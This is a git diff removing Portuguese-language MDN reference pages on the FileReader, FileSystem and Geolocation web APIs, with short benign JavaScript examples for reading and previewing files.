-<h3 id="Event_handlers">Event handlers</h3>
-
-<dl>
- <dt>{{domxref("FileReader.onabort")}}</dt>
- <dd>A handler for the {{event("abort")}} event. This event is triggered each time the reading operation is aborted.</dd>
- <dt>{{domxref("FileReader.onerror")}}</dt>
- <dd>A handler for the {{event("error")}} event. This event is triggered each time the reading operation encounter an error.</dd>
- <dt>{{domxref("FileReader.onload")}}</dt>
- <dd>A handler for the {{event("load")}} event. This event is triggered each time the reading operation is successfully completed.</dd>
- <dt>{{domxref("FileReader.onloadstart")}}</dt>
- <dd>A handler for the {{event("loadstart")}} event. This event is triggered each time the reading is starting.</dd>
- <dt>{{domxref("FileReader.onloadend")}}</dt>
- <dd>A handler for the {{event("loadend")}} event. This event is triggered each time the reading operation is completed (either in success or failure).</dd>
- <dt>{{domxref("FileReader.onprogress")}}</dt>
- <dd>A handler for the {{event("progress")}} event. This event is triggered while reading a {{domxref("Blob")}} content.</dd>
-</dl>
-
-<div class="note">
-<p>Note: As <code>FileReader</code> inherits from {{domxref("EventTarget")}}, all those events can also be listened for by using the {{domxref("EventTarget.addEventListener()","addEventListener")}} method.</p>
-</div>
-
-<h3 id="State_constants" name="State_constants">State constants</h3>
-
-<ul>
- <li><code>EMPTY  </code> : <code>0</code> : No data has been loaded yet.</li>
- <li><code>LOADING</code> : <code>1</code> : Data is currently being loaded.</li>
- <li><code>DONE   </code> : <code>2</code> : The entire read request has been completed.</li>
-</ul>
-
-<h2 id="Methods" name="Methods">Methods</h2>
-
-<dl>
- <dt>{{domxref("FileReader.abort()")}}</dt>
- <dd>Aborts the read operation. Upon return, the <code>readyState</code> will be <code>DONE</code>.</dd>
- <dt>{{domxref("FileReader.readAsArrayBuffer()")}} {{ gecko_minversion_inline("7.0") }}</dt>
- <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains an {{domxref("ArrayBuffer")}} representing the file's data.</dd>
- <dt>{{domxref("FileReader.readAsBinaryString()")}}</dt>
- <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains the raw binary data from the file as a string.</dd>
- <dt>{{domxref("FileReader.readAsDataURL()")}}</dt>
- <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains a <code>data:</code> URL representing the file's data.</dd>
- <dt>{{domxref("FileReader.readAsText()")}}</dt>
- <dd>Starts reading the contents of the specified {{ domxref("Blob") }}, once finished, the <code>result</code> attribute contains the contents of the file as a text string.</dd>
-</dl>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('File API','#FileReader-interface','FileReader')}}</td>
- <td>{{Spec2('File API')}}</td>
- <td>Initial definition.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
-
-<p>{{ CompatibilityTable() }}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Firefox (Gecko)</th>
- <th>Chrome</th>
- <th>Internet Explorer*</th>
- <th>Opera*</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{ CompatGeckoDesktop("1.9.2") }}</td>
- <td>7</td>
- <td>10</td>
- <td>12.02</td>
- <td>6.0.2</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>Android</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>32</td>
- <td>3</td>
- <td>10</td>
- <td>11.5</td>
- <td>6.1</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h3 id="Implementation_notes">Implementation notes</h3>
-
-<ul>
- <li>IE9 has a <a href="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info" title="http://html5labs.interoperabilitybridges.com/prototypes/fileapi/fileapi/info">File API Lab</a>.</li>
- <li>Opera has <a href="http://www.opera.com/docs/specs/presto28/file/" title="http://my.opera.com/desktopteam/blog/2011/04/05/stability-gmail-socks">partial support</a> in 11.1.</li>
-</ul>
-
-<h4 id="Gecko-specific_notes">Gecko-specific notes</h4>
-
-<ul>
- <li>Prior to Gecko 2.0 beta 7 (Firefox 4.0 beta 7), all {{ domxref("Blob") }} parameters below were {{ domxref("File") }} parameters; this has since been updated to match the specification correctly.</li>
- <li>Prior to Gecko 13.0 {{ geckoRelease("13.0") }} the <code>FileReader.error</code> property returned a {{ domxref("FileError") }} object. This interface has been removed and <code>FileReader.error</code> is now returning the {{ domxref("DOMError") }} object as defined in the latest FileAPI draft.</li>
-</ul>
-
-<h2 id="See_also" name="See_also">See also</h2>
-
-<ul>
- <li><a href="/en/Using_files_from_web_applications" title="en/Using files from web applications">Using files from web applications</a></li>
- <li>{{ domxref("File") }}</li>
- <li>{{ domxref("Blob") }}</li>
- <li><a href="/en-US/docs/nsIDOMFileReader">nsIDOMFileReader</a> - For addons/privileged scope</li>
-</ul>
diff --git a/files/pt-pt/web/api/filereader/readasarraybuffer/index.html b/files/pt-pt/web/api/filereader/readasarraybuffer/index.html
deleted file mode 100644
index d5122d8096..0000000000
--- a/files/pt-pt/web/api/filereader/readasarraybuffer/index.html
+++ /dev/null
@@ -1,64 +0,0 @@
----
-title: FileReader.readAsArrayBuffer()
-slug: Web/API/FileReader/readAsArrayBuffer
-tags:
- - API
- - DOM
- - Ficheiros
- - File API
- - FileReader
- - Referencia
- - metodo
- - readAsArrayBuffer
-translation_of: Web/API/FileReader/readAsArrayBuffer
----
-<p>{{APIRef("File API")}}</p>
-
-<p>O método <code>readAsArrayBuffer()</code> da interface {{domxref("FileReader")}} é utilizado para começar a ler o conteúdo de um {{domxref("Blob")}} ou {{domxref("File")}} especificado. Quando a operação de leitura termina, o valor de {{domxref("FileReader.readyState","readyState")}} passa a ser <code>DONE</code>, e é acionado o evento {{domxref("FileReader/loadend_event", "loadend")}}. Nessa altura, o atributo {{domxref("FileReader.result","result")}} contém um {{domxref("ArrayBuffer")}} representando os dados do ficheiro.</p>
-
-<div class="blockIndicator note">
-<p><strong>API mais recente</strong><br>
- O método {{domxref("Blob.arrayBuffer()")}} é uma API recente que serve para ler um ficheiro como um <em>array buffer</em>, usando <em>Promises</em>.</p>
-</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate"><var>instanceOfFileReader</var>.readAsArrayBuffer(<var>blob</var>);</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code><var>blob</var></code></dt>
- <dd>O {{domxref("Blob")}} ou {{domxref("File")}} a partir do qual ler.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("File API", "#readAsArrayBuffer", "FileReader.readAsArrayBuffer")}}</td>
- <td>{{Spec2("File API")}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.FileReader.readAsArrayBuffer")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("FileReader")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/filereader/readasbinarystring/index.html b/files/pt-pt/web/api/filereader/readasbinarystring/index.html
deleted file mode 100644
index 44911105e6..0000000000
--- a/files/pt-pt/web/api/filereader/readasbinarystring/index.html
+++ /dev/null
@@ -1,85 +0,0 @@
----
-title: FileReader.readAsBinaryString()
-slug: Web/API/FileReader/readAsBinaryString
-tags:
- - API
- - Ficheiros
- - File API
- - Referencia
- - metodo
-translation_of: Web/API/FileReader/readAsBinaryString
----
-<p>{{APIRef("File API")}}</p>
-
-<p>O método <code>readAsBinaryString</code> é usado para iniciar a leitura dos conteúdos do {{domxref("Blob")}} ou {{domxref("File")}} indicado. Quando a operação da leitura é terminada, o {{domxref("FileReader.readyState","readyState")}} retorna <code>DONE</code>, e o {{event("loadend")}} é acionado. A propriedade {{domxref("FileReader.result","result")}} depois contem o binário bruto do ficheiro.</p>
-
-<p>Note que este método foi removido do File API, mas foi reintroduzido por motivos de compatibilidade com versões antigas.<br>
- É recomendado usar {{domxref("FileReader.readAsArrayBuffer()")}}.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="notranslate"><em>instanceOfFileReader</em>.readAsBinaryString(blob);</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>blob</code></dt>
- <dd>O {{domxref("Blob")}} ou {{domxref("File")}} a ser lido.</dd>
-</dl>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: js notranslate">var canvas = document.createElement('canvas');
-var height = 200;
-var width  = 200;
-
-canvas.width  = width;
-canvas.height = height;
-
-var ctx = canvas.getContext('2d');
-
-ctx.strokeStyle = '#090';
-ctx.beginPath();
-ctx.arc(width/2, height/2, width/2 - width/10, 0, Math.PI*2);
-ctx.stroke();
-
-canvas.toBlob(function (blob) {
-  var reader = new FileReader();
-
-  reader.onloadend = function () {
-    console.log(reader.result);
-  }
-
-  reader.readAsBinaryString(blob);
-});</pre>
-
-<h2 id="Browser_Compatibility" name="Browser_Compatibility">Especificações</h2>
-
-<table class="spectable standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('File API','#readAsBinaryString','readAsBinaryString')}}</td>
- <td>{{Spec2('File API')}}</td>
- <td></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.FileReader.readAsBinaryString")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("FileReader")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/filereader/readasdataurl/index.html b/files/pt-pt/web/api/filereader/readasdataurl/index.html
deleted file mode 100644
index 321d50d3ce..0000000000
--- a/files/pt-pt/web/api/filereader/readasdataurl/index.html
+++ /dev/null
@@ -1,133 +0,0 @@
----
-title: FileReader.readAsDataURL()
-slug: Web/API/FileReader/readAsDataURL
-tags:
- - API
- - Base 64
- - Ficheiros
- - File API
- - FileReader
- - Referencia
- - metodo
-translation_of: Web/API/FileReader/readAsDataURL
----
-<p>O método <code>readAsDataURL</code> é utilizado para ler os conteúdos dum {{domxref("Blob")}} ou {{domxref("File")}} especificado. Quando a operação de leitura é terminada, a propriedade {{domxref("FileReader.readyState","readyState")}} é atualizada para <code>DONE</code>, e o evento {{event("loadend")}} é lançado. Nessa altura, o atributo {{domxref("FileReader.result","result")}} contem os dados na forma <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">data: URL</a> que representa os dados do ficheiro em base 64 numa <em>string</em>.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> O{{domxref("FileReader.result","result")}} da Blob não pode ser diretamente descodificado como Base64 sem remover a declaração Data-URL que precede os dados em Base64. Para ter só a <em>string</em> em Base64, primeiro tem de remover o <code>data:*/*;base64,</code> do resultado.</p>
-</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate"><em>instanceOfFileReader</em>.readAsDataURL(blob);</pre>
-
-<h3 id="Parametros">Parametros</h3>
-
-<dl>
- <dt><code>blob</code></dt>
- <dd>O {{domxref("Blob")}} ou {{domxref("File")}} para ler.</dd>
-</dl>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<h3 id="HTML">HTML</h3>
-
-<pre class="brush: html notranslate">&lt;input type="file" onchange="previewFile()"&gt;&lt;br&gt;
-&lt;img src="" height="200" alt="Image preview..."&gt;</pre>
-
-<h3 id="JavaScript">JavaScript</h3>
-
-<pre class="brush: js notranslate">function previewFile() {
-  const preview = document.querySelector('img');
-  const file = document.querySelector('input[type=file]').files[0];
-  const reader = new FileReader();
-
-  reader.addEventListener("load", function () {
-  // converter o file de imagem oara uma string de base 64
-    preview.src = reader.result;
-  }, false);
-
-  if (file) {
-    reader.readAsDataURL(file);
-  }
-}</pre>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p>{{EmbedLiveSample("Exemplo", "100%", 240)}}</p>
-
-<h2 id="Exemplo_de_vários_files">Exemplo de vários files</h2>
-
-<h3 id="HTML_2">HTML</h3>
-
-<pre class="brush: html notranslate">&lt;input id="browse" type="file" onchange="previewFiles()" multiple&gt;
-&lt;div id="preview"&gt;&lt;/div&gt;</pre>
-
-<h3 id="JavaScript_2">JavaScript</h3>
-
-<pre class="brush: js notranslate">function previewFiles() {
-
- var preview = document.querySelector('#preview');
- var files = document.querySelector('input[type=file]').files;
-
- function readAndPreview(file) {
-
- // Make sure `file.name` matches our extensions criteria
- if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) {
- var reader = new FileReader();
-
- reader.addEventListener("load", function () {
- var image = new Image();
- image.height = 100;
- image.title = file.name;
- image.src = this.result;
- preview.appendChild( image );
- }, false);
-
- reader.readAsDataURL(file);
- }
-
- }
-
- if (files) {
- [].forEach.call(files, readAndPreview);
- }
-
-}
-</pre>
-
-<div class="note"><strong>Nota:</strong> O construtor <a href="/en-US/docs/Web/API/FileReader"><code>FileReader()</code></a> não é apoiado pela Internet Explorer anterior à versão 10. Para obter código totalmente compatível veja a nossa <a class="internal" href="https://mdn.mozillademos.org/files/3699/crossbrowser_image_preview.html" title="crossbrowser_image_preview.html">solução <em>crossbrowser</em> para pré-visualizar imagens</a>. Veja também <a href="https://mdn.mozillademos.org/files/3698/image_upload_preview.html">este exemplo mais complexo</a>.</div>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("File API", "#readAsDataURL", "readAsDataURL()")}}</td>
- <td>{{Spec2("File API")}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.FileReader.readAsDataURL")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("FileReader")}}</li>
- <li>{{domxref("URL.createObjectURL()")}}</li>
-</ul>
-
-<div>{{APIRef("File API")}}</div>
diff --git a/files/pt-pt/web/api/filereader/readastext/index.html b/files/pt-pt/web/api/filereader/readastext/index.html
deleted file mode 100644
index d8f821e7ab..0000000000
--- a/files/pt-pt/web/api/filereader/readastext/index.html
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: FileReader.readAsText()
-slug: Web/API/FileReader/readAsText
-tags:
- - API
- - Ficheiros
- - File API
- - Referencia
- - metodo
-translation_of: Web/API/FileReader/readAsText
----
-<div>{{APIRef("File API")}}</div>
-
-<p>O método <strong><code>readAsText()</code></strong> é utilizado para ler os conteúdos do {{domxref("Blob")}} ou {{domxref("File")}} indicado. Quando a operação de leitura é terminada, a propriedade {{domxref("FileReader.readyState","readyState")}} é modificada para <code>DONE</code>, o evento {{event("loadend")}} é lançado, e a propriedade {{domxref("FileReader.result","result")}} fica com os conteúdos do ficheiro em forma de <em>string</em>.</p>
-
-<div class="blockIndicator note">
-<p><strong>API mais recente disponível</strong><br>
- {{domxref("Blob.text()")}} é um método mais recente, baseado na API de promessas, para ler um ficheiro como uma <em>string</em>.</p>
-</div>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate"><em>instanceOfFileReader</em>.readAsText(blob[, encoding]);</pre>
-
-<h3 id="Parâmetros">Parâmetros</h3>
-
-<dl>
- <dt><code>blob</code></dt>
- <dd>O {{domxref("Blob")}} ou {{domxref("File")}} de qual ler.</dd>
- <dt><code>encoding</code> {{optional_inline}}</dt>
- <dd>Uma <em>string</em> a especificar qual codificação usar para os dados devolvidos. A UTF-8 é utilizada se não for definido.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("File API", "#readAsDataText", "readAsText()")}}</td>
- <td>{{Spec2("File API")}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.FileReader.readAsText")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("FileReader")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/filereader/readystate/index.html b/files/pt-pt/web/api/filereader/readystate/index.html
deleted file mode 100644
index 1147e43f29..0000000000
--- a/files/pt-pt/web/api/filereader/readystate/index.html
+++ /dev/null
@@ -1,96 +0,0 @@
----
-title: FileReader.readyState
-slug: Web/API/FileReader/readyState
-tags:
- - API
- - Ficheiros
- - File API
- - Propriedade
- - Referencia
-translation_of: Web/API/FileReader/readyState
----
-<div>{{APIRef("File API")}}</div>
-
-<p>A propriedade <strong><code>readyState</code></strong> de {{domxref("FileReader")}} fornece o estado actual da operação de leitura em que se encontra um <code>FileReader</code>.  Um <code>FileReader</code> existe num dos seguintes estados:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Valor</th>
- <th scope="col">Estado</th>
- <th scope="col">Descrição</th>
- </tr>
- <tr>
- <td><code>0</code></td>
- <td><code>EMPTY</code></td>
- <td>Foi criado um leitor. Nenhum dos métodos de leitura foi ainda chamado.</td>
- </tr>
- <tr>
- <td><code>1</code></td>
- <td><code>LOADING</code></td>
- <td>Foi chamado um método de leitura.</td>
- </tr>
- <tr>
- <td><code>2</code></td>
- <td><code>DONE</code></td>
- <td>A operação está concluída.</td>
- </tr>
- </thead>
-</table>
-
-<dl>
- <dt><code>EMPTY</code></dt>
- <dd>O <code>FileReader</code> foi criado, mas ainda não foi chamado o método <code>readAs</code>.</dd>
- <dt><code>LOADING</code></dt>
- <dd>Foi invocado o método <code>readAs</code>. O {{domxref("File")}} ou {{domxref("Blob")}} está a ser lido, e ainda não ocorreu qualquer erro.</dd>
- <dt><code>DONE</code></dt>
- <dd>A operação lida está concluída. Isto pode significar que: todo o {{domxref("File")}} ou {{domxref("Blob")}} foi lido na memória, ocorreu um erro de leitura de ficheiro, ou {{domxref("FileReader.abort()", "abort()")}} foi chamado e a leitura foi cancelada.</dd>
-</dl>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: js notranslate">var reader = new FileReader();
-console.log('EMPTY', reader.readyState); // readyState é 0
-
-reader.readAsText(blob);
-console.log('LOADING', reader.readyState); // readyState é 1
-
-reader.onloadend = function () {
- console.log('DONE', reader.readyState); // readyState é 2
-};
-</pre>
-
-<h2 id="Valor">Valor</h2>
-
-<p>Um número que é uma das três constantes de estado possíveis definidas para o {{domxref("FileReader")}} API.</p>
-
-<h2 id="Especificação">Especificação</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentários</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("File API", "#dom-filereader-readystate", "readyState")}}</td>
- <td>{{Spec2("File API")}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.FileReader.readyState")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("Blob")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/filereader/result/index.html b/files/pt-pt/web/api/filereader/result/index.html
deleted file mode 100644
index ea7ddd4bbd..0000000000
--- a/files/pt-pt/web/api/filereader/result/index.html
+++ /dev/null
@@ -1,105 +0,0 @@
----
-title: FileReader.result
-slug: Web/API/FileReader/result
-tags:
- - API
- - Ficheiros
- - File API
- - FileReader
- - Propriedade
- - Referencia
- - result
-translation_of: Web/API/FileReader/result
----
-<div>{{APIRef("File API")}}</div>
-
-<p>A propriedade <code><strong>result</strong></code> de {{domxref("FileReader")}} devolve os conteúdo do ficheiro. Esta propriedade só é válida após a operação de leitura estar concluída, e o formato dos dados depende de qual método foi utilizado para iniciar a operação de leitura.</p>
-
-<h2 id="Sintaxe">Sintaxe</h2>
-
-<pre class="syntaxbox notranslate">var <var>file</var> = <var>instanceOfFileReader</var>.result
-</pre>
-
-<h3 id="Valor">Valor</h3>
-
-<p>Uma <em>string</em> ou {{jsxref("ArrayBuffer")}} apropriado com base em qual dos métodos de leitura foi utilizado para iniciar a operação de leitura. O valor é <code>null</code> se a leitura ainda não estiver completa ou não foi bem sucedida.</p>
-
-<p>Os resultados são descritos abaixo.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Método</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{domxref("FileReader/readAsArrayBuffer", "readAsArrayBuffer()")}}</td>
- <td>O <code>result</code> é um {{jsxref("Global_Objects/ArrayBuffer", "ArrayBuffer")}} de JavaScript que contem dados binários.</td>
- </tr>
- <tr>
- <td>{{domxref("FileReader/readAsBinaryString", "readAsBinaryString()")}}</td>
- <td>O <code>result</code> contém os dados binários brutos do ficheiro numa <em>string</em>.</td>
- </tr>
- <tr>
- <td>{{domxref("FileReader/readAsDataURL", "readAsDataURL()")}}</td>
- <td>O <code>result</code> é uma string com uma <code>data:</code> URL que representa os dados do ficheiro.</td>
- </tr>
- <tr>
- <td>{{domxref("FileReader/readAsText", "readAsText()")}}</td>
- <td>O <code>result</code> ié texto numa <em>string</em>.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>Este exemplo apresenta uma função, <code>read()</code>, que lê um ficheiro a partir de uma <a href="/en-US/docs/Web/HTML/Element/input/file">entrada de ficheiro</a>. Funciona criando um objecto {{domxref("FileReader")}} e criando um ouvinte para eventos {{domxref("FileReader/load_event", "load")}}, de modo que quando o ficheiro é lido, o <code>result</code> é obtido e passado para a função callback fornecida para <code>read()</code>.</p>
-
-<p>O conteúdo é tratado como dados de texto brutos.</p>
-
-<pre class="brush: js notranslate">var fileInput = document.querySelector('input[type="file"]');
-
-function read(callback) {
- var file = fileInput.files.item(0);
- var reader = new FileReader();
-
- reader.onload = function() {
- callback(reader.result);
- }
-
- reader.readAsText(file);
-}
-</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName("File API", "#dom-filereader-result", "result")}}</td>
- <td>{{Spec2("File API")}}</td>
- <td>Definição inicial</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.FileReader.result")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("FileReader")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/filesystem/index.html b/files/pt-pt/web/api/filesystem/index.html
deleted file mode 100644
index f755c6d43e..0000000000
--- a/files/pt-pt/web/api/filesystem/index.html
+++ /dev/null
@@ -1,55 +0,0 @@
----
-title: Sistema de Ficheiros
-slug: Web/API/FileSystem
-tags:
- - API
- - File API
- - File System API
- - File and Directory Entries API
- - Interface
- - Não Standard
- - Offline
- - filesystem
-translation_of: Web/API/FileSystem
-original_slug: Web/API/Sistema_de_ficheiros
----
-<div>
-<p>{{APIRef("File System API")}}{{SeeCompatTable}}</p>
-
-<p>A interface da "API de Entradas de Diretorias e Ficheiros" é usada para representar um sistema de ficheiros. Estes objetos podem ser obtidos a partir da propriedade {{domxref("FileSystemEntry.filesystem", "filesystem")}} em qualquer entrada do sistema de ficheiros. Alguns navegadores oferecem APIs adicionais para criar e gerir sistemas de ficheiros, por exemplo o método {{domxref("Window.requestFileSystem", "requestFileSystem()")}} encontrado no Chrome.</p>
-
-<p>Esta interface não dá acesso ao <em>filesystem</em> do utilizador. Em vez disso, terá uma "drive virtual" dentro da <em>sandbox</em> do navegador. Se quiser ter acesso ao sistema de ficheiros dos utilizadores, necessita de invocar o utilizador.</p>
-</div>
-
-<h2 id="Conceitos_básicos">Conceitos básicos</h2>
-
-<p>Existem duas formas para aceder ao objeto <code>FileSystem</code>:</p>
-
-<ol>
- <li>Pode pedir por um dentro duma <em>sandbox</em> para só a sua app ao chamar <code>window.requestFileSystem()</code>. Se a chamada tiver sucesso, é executada uma <em>callback handler</em>, que recebe como parâmetro um objeto <code>FileSystem</code> que descreve o sistema de ficheiros.</li>
- <li>Pode o pedir através duma entrada no sistema de ficheiros, com a propriadade {{domxref("FileSystemEntry.filesystem", "filesystem")}}.</li>
-</ol>
-
-<h2 id="Browser_Compatibility" name="Browser_Compatibility">Atributos</h2>
-
-<dl>
- <dt>{{domxref("FileSystem.name")}} {{ReadOnlyInline}}</dt>
- <dd>Uma {{domxref("USVString")}} que representa o nome do sistema de ficheiros. Este nome é único na lista de sistemas de ficheiros exposta.</dd>
- <dt>{{domxref("FileSystem.root")}} {{ReadOnlyInline}}</dt>
- <dd>Um objeto de {{domxref("FileSystemDirectoryEntry")}} que representa a diretoria raiz do sistema de ficheiros. Através deste objeto, pode ganhar acesso a todos os ficheiros e diretorias no sistema.</dd>
-</dl>
-
-<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.FileSystem")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/API_Entradas_de_Diretoria_e_Ficheiro">API de Entradas de Diretorias e Ficheiros</a></li>
- <li>Introdução à API de Entradas de Diretorias e Ficheiros</li>
- <li>{{domxref("FileSystemEntry")}}, {{domxref("FileSystemFileEntry")}}, e {{domxref("FileSystemDirectoryEntry")}}</li>
- <li>Artigo de MSDN: <em><a href="https://msdn.microsoft.com/library/mt732564">WebKitFileSystem object</a></em> (em inglês)</li>
-</ul>
diff --git a/files/pt-pt/web/api/geolocation/index.html b/files/pt-pt/web/api/geolocation/index.html
deleted file mode 100644
index 3e3387d0b4..0000000000
--- a/files/pt-pt/web/api/geolocation/index.html
+++ /dev/null
@@ -1,223 +0,0 @@
----
-title: Geolocalização
-slug: Web/API/Geolocation
-tags:
- - API
- - API de Geolocalização
- - Avançada
- - Contexto de segurança
- - Interface
- - Referencia
-translation_of: Web/API/Geolocation
----
-<div>{{securecontext_header}}{{APIRef("Geolocation API")}}</div>
-
-<p>A interface de <code><strong>Geolocalização</strong></code> representa um objeto capaz de obter programaticamente a posição do dispositivo. Esta dá acesso ao conteúdo da Web para a localização do dispositivo. Isto permite que um site da Web ou aplicação ofereça resultados personalizados com base na localização do utilizador.</p>
-
-<p>Um objeto com esta interface é obtido utilizando a propriedade {{domxref("navigator.geolocation")}} implementada pelo objeto {{domxref("Navigator")}}.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> por motivos de segurança, quando uma página da Web tenta aceder à informação da localização, o utilizador é notificado e é-lhe solicitado para dar permissão. Tenha em atenção que cada navegador tem as suas próprias políticas e métodos para solicitarem esta permissão.</p>
-</div>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<p><em>A interface de <code>Geolocalização</code> não implementa, nem adquire qualquer propriedade.</em></p>
-
-<h2 id="Métodos">Métodos</h2>
-
-<p><em><em>A interface de <code>Geolocalização</code> não </em>adquire qualquer propriedade</em>.</p>
-
-<dl>
- <dt>{{domxref("Geolocation.getCurrentPosition()")}} {{securecontext_inline}}</dt>
- <dd>Determina a localização do dispositivo e devolve um objeto de {{domxref("Position")}} com os dados.</dd>
- <dt>{{domxref("Geolocation.watchPosition()")}} {{securecontext_inline}}</dt>
- <dd>Devolve um valor <code>longo</code> representando a nova função <em>estabelecida callback</em> para ser invocada sempre que a localização do dispositivo for alterada.</dd>
- <dt>{{domxref("Geolocation.clearWatch()")}} {{securecontext_inline}}</dt>
- <dd>Remove o manipulador particular instalado anteriormente, utilizando <code>watchPosition()</code>.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('Geolocation')}}</td>
- <td>{{Spec2('Geolocation')}}</td>
- <td>Especificação inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>{{ CompatibilityTable() }}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>5</td>
- <td>{{CompatVersionUnknown}}</td>
